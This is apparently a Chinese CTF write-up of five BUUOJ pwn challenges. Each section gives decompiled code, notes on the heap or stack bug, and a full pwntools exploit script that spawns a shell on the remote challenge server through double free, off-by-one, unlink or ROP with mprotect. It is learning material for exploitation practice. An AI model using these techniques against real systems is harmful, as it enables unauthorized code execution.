ps: 到这里其实已经做了70道题了, 中间有JOJ的题重复了所以没写wp, 这里从71开始计数
ciscn_2019_final_3
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdi
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_C5A(a1, a2, a3);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to babyheap");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
sub_F0E();
std::operator<<<std::char_traits<char>>(&std::cout, "choice > ");
std::istream::operator>>(&std::cin, &v4);
if ( v4 == 1 )
{
add();
}
else if ( v4 == 2 )
{
remove();
}
}
}
add函数, 读入size大小的字符串到*((_QWORD *)&unk_2022A0 + HIDWORD(size)
, 且不能大于0x78
unsigned __int64 add()
{
__int64 v0; // rax
__int64 v1; // rax
unsigned int v2; // ebx
__int64 v3; // rax
size_t size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, (char *)&size + 4);
if ( *((_QWORD *)&unk_2022A0 + HIDWORD(size)) || HIDWORD(size) > 0x18 )
exit(0);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( (unsigned int)size <= 0x78 )
{
v2 = HIDWORD(size);
*((_QWORD *)&unk_2022A0 + v2) = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
sub_CBB(*((_QWORD *)&unk_2022A0 + HIDWORD(size)), (unsigned int)size);
puts("OK!");
printf("gift :%p\n", *((const void **)&unk_2022A0 + HIDWORD(size)));
}
return __readfsqword(0x28u) ^ v6;
}
remove函数, 没有清空指针, 所以白给double free
unsigned __int64 remove()
{
__int64 v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v2);
if ( v2 > 0x18 )
exit(0);
free(*((void **)&unk_2022A0 + v2));
return __readfsqword(0x28u) ^ v3;
}
libc是Ubuntu GLIBC 2.27-3ubuntu1
有tcache机制
(1) 利用double free修改一个chunk的size为0x400, free之后进到unsorted bin
(2) 申请回chunk0, 构造tcache chunk1和 unsorted bin remaining 重叠
(3) 泄露main_arena + 96
, 进而泄露libc
(4) 再次double free, 劫持free_hook到system, 释放"/bin/sh\x00", get shell
调试过程
构造double free劫持chunk0
修改size
tcache 和 unsorted bin chunk重叠
申请出一个tcache拿到main_arena + 96
main_arena == 0x3ebc40
main_arena + 96 == 0x3ebca0
exp
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 28318
filename = "./ciscn_final_3"
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Add(index, size, content):
io.sendlineafter("choice > ", "1")
io.sendlineafter("input the index\n", str(index))
io.sendlineafter("input the size\n", str(size))
io.sendlineafter("now you can write something\n", content)
io.recvuntil("gift :")
return int(io.recvline(keepends=False)[2:], 16)
def Delete(index):
io.sendlineafter("choice > ", "2")
io.sendlineafter("input the index\n", str(index))
def pwn():
chunk0 = Add(0, 0x78, '0')
log.info("chunk0 address: %#x", chunk0)
Add(1, 0x18, '1') # get 0x20 size memory
for i in range(2, 11): # get 0x400 size memory
Add(i, 0x78, str(i))
Add(11, 0x28, b"/bin/sh\x00")
Add(12, 0x28, '12')
Delete(12)
Delete(12)
Add(13, 0x28, p64(chunk0 - 0x10)) # double free change fd to chunk0 head address
# B()
Add(14, 0x28, '12')
# B()
Add(15, 0x28, p64(0) + p64(0x421)) # change chunk0 size to 0x420
# B()
Delete(0) # chunk0 to unsorted bin
Delete(1) # chunk1 to tcache
Add(16, 0x78, '0') # get chunk0 from unsorted bin
Add(17, 0x18, '1') # get chunk1 from tcache
# B()
libc_base = Add(18, 0x18, "z") - 0x3ebca0
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym['system']
Delete(10)
Delete(10)
# B()
Add(19, 0x78, p64(free_hook))
Add(20, 0x78, "z")
Add(21, 0x78, p64(system_addr))
Delete(11)
if __name__ == "__main__":
pwn()
io.interactive()
小结
(1) 关于调试, 一连串B()
就行, 打开的dbg窗口看完内存结构, 然后ctrl + D
关闭窗口, 在主窗口any key to continue, 就到下一个B()
, 这样可以快速debug脚本和调试漏洞
(2) 做这题时领悟的一个普适性经验, 做heap题, 写完交互函数, 直接调试就行, 不用脑内模拟太多heap结构, 应该基于调试思考利用手法而不是全部想清楚才写脚本, 应该调试过程中增量式写脚本
picoctf_2018_shellcode
int __cdecl vuln(int a1)
{
gets(a1);
return puts(a1);
}
参数和局部变量一样, 传入shellocde就能执行, 垃圾题
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 25301
filename = "./PicoCTF_2018_shellcode"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
payload = asm(shellcraft.sh())
io.sendlineafter("Enter a string!\n", payload)
if __name__ == "__main__":
pwn()
io.interactive()
jarvisoj_level5
参考
https://blog.csdn.net/qq_33976344/article/details/118303938
打mprotect, bss段ret2shellcode
from pwn import *
from pwnlib.util.cyclic import cyclic
context.log_level = "debug"
sel = 1
filename = "./level3_x64"
URL, PORT = "node4.buuoj.cn", 25977
io = process(filename) if sel == 0 else remote(URL, PORT)
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
binsh_addr = elf.bss()
vul_addr = elf.sym["vulnerable_function"]
write_libc = libc.sym['write']
mprotect_libc = libc.sym['mprotect']
pop_rdi_addr = 0x00000000004006b3
pop_rsi_r15_addr = 0x00000000004006b1
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
binsh_got = 0x0000000000600A48
mprotect_got = 0x0000000000600A50
gadget1 = 0x400690
gadget2 = 0x4006AA
payload1 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_r15_addr) + p64(write_got)
payload1 += p64(0) + p64(write_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload1)
write_addr = u64(io.recv(8))
print("write address: ", hex(write_addr))
payload2 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(binsh_addr)
payload2 += p64(0) + p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload2)
io.send(shellcode)
libc_base = write_addr - write_libc
mprotect_addr = libc_base + mprotect_libc
payload3 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(binsh_got) + p64(0)
payload3 += p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload3)
io.send(p64(binsh_addr))
payload4 = cyclic(0x80 + 8) + p64(pop_rdi_addr) + p64(0) + p64(pop_rsi_r15_addr) + p64(mprotect_got) + p64(0)
payload4 += p64(read_plt) + p64(vul_addr)
io.sendlineafter("Input:\n", payload4)
io.send(p64(mprotect_addr))
payload5 = cyclic(0x80 + 8) + p64(gadget2) + p64(0) + p64(1) + p64(mprotect_got)
payload5 += p64(7) + p64(0x1000) + p64(0x600000) + p64(gadget1) + p64(0)
payload5 += p64(0) + p64(1) + p64(binsh_got) + cyclic(8 * 3) + p64(gadget1)
io.sendlineafter("Input:\n", payload5)
sleep(1)
io.interactive()
npuctf_2020_easyheap
菜单heap, create函数, 只允许创建0x10和0x20的chunk(另外这里的提示具有迷惑性, 其实逆向可知只允许创建0x18和0x38大小的chunk, 而不是0x10和0x20), 结构体是size, 和指向content的指针
unsigned __int64 create()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*((_QWORD *)&heaparray + i) )
{
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);
if ( !*((_QWORD *)&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap(0x10 or 0x20 only) : ");
read(0, buf, 8uLL);
size = atoi(buf);
if ( size != 24 && size != 56 )
exit(-1);
v0 = *((_QWORD *)&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**((_QWORD **)&heaparray + i) = size;
printf("Content:");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
puts("Done!");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
看edit函数和read_input函数
unsigned __int64 edit()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf("Content: ");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v3;
}
ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax
result = read(0, a1, a2);
if ( (int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}
跟hitcontraining_heapcreator
基本相同, off-by-one修改size构造chunk overlap, 改一下脚本, 因为申请的是0x18和0x38, 所以注意delete再create回来的chunk其实是1, 跟之前那题稍有不同, 调试一下也可以知道.
exp
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 25328
filename = "./npuctf_2020_easyheap"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Add(size, content):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Size of Heap(0x10 or 0x20 only) : ", str(size))
io.sendlineafter("Content:", content)
def Edit(index, content):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))
io.sendlineafter("Content: ", content)
def Show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))
io.recvuntil("Content : ")
addr = u64(io.recv(6).ljust(8, b'\x00'))
return addr
def Delete(index):
io.sendlineafter("Your choice :", "4")
io.sendlineafter("Index :", str(index))
def pwn():
free_got = elf.got["free"]
Add(0x18, "0")
Add(0x18, "1")
Add(0x18, "2")
Add(0x18, b"/bin/sh\x00")
# B()
Edit(0, cyclic(0x18) + b"\x41")
# B()
Delete(1)
payload = cyclic(0x20) + p64(8) + p64(free_got)
# B()
Add(0x38, payload)
# B()
free_addr = Show(1)
log.info("Free address:%#x" % free_addr)
# libc_base = free_addr - libc.sym["free"]
# system_addr = libc_base + libc.sym["system"]
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
Edit(1, p64(system_addr))
Delete(3)
if __name__ == "__main__":
pwn()
io.interactive()
hitcontraining_bamboobox
add函数, 结构体是index和指向name的指针
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2; // index
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);// heaparray
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;// read name
++num;
return 0LL;
}
}
}
return 0LL;
}
change函数, 有堆溢出漏洞
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
但是这个题劫持不了结构体中的name指针, 所以不能直接打got表
利用方法: house of force / unlink / fastbin attack
house of force方法是要打后门, 不过BUU一般flag不在后门的路径下, 所以这个方法远程不能通
fastbin attack, 堆块重叠, 泄露libc那套
这里用unlink来打, 伪造chunk, 用unlink转移fake chunk, 劫持chunk0指针到free@got, 然后get shell
不过这里打free没有调通, 换了个atoi打, 可以打通, emmm没解决…
exp
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 29511
filename = "./bamboobox"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Show():
io.sendlineafter("Your choice:", "1")
def Add(size, content):
io.sendlineafter("Your choice:", "2")
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendafter("Please enter the name of item:", content)
def Change(index, size, content):
io.sendlineafter("Your choice:", "3")
io.sendlineafter("Please enter the index of item:", str(index))
io.sendlineafter("Please enter the length of item name:", str(size))
io.sendafter("Please enter the new name of the item:", content)
def Remove(index):
io.sendlineafter("Your choice:", "4")
io.sendlineafter("Please enter the index of item:", str(index))
def pwn():
atoi_got = elf.got["atoi"]
Add(0x40, "1")
Add(0x80, "2")
Add(0x80, "3")
Add(0x10, b"/bin/sh\x00")
# B()
ptr = 0x00000000006020C8 # heaparray[0]
fd, bk = ptr - 0x18, ptr - 0x10
fake_chunk = p64(0) + p64(0x40)
fake_chunk += p64(fd) + p64(bk) + cyclic(0x20)
fake_chunk += p64(0x40) + p64(0x90)
Change(0, len(fake_chunk), fake_chunk)
# B()
Remove(1)
payload = p64(0) * 2 + p64(0x41) + p64(atoi_got)
# B()
Change(0, len(payload), payload)
# B()
Show()
atoi_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
log.info("atoi address: %#x", atoi_addr)
# B()
libc_base = atoi_addr - libc.sym["atoi"]
system_addr = libc_base + libc.sym["system"]
# B()
Change(0, 0x8, p64(system_addr))
# B()
io.sendafter("Your choice:", b"/bin/sh\x00")
if __name__ == "__main__":
pwn()
io.interactive()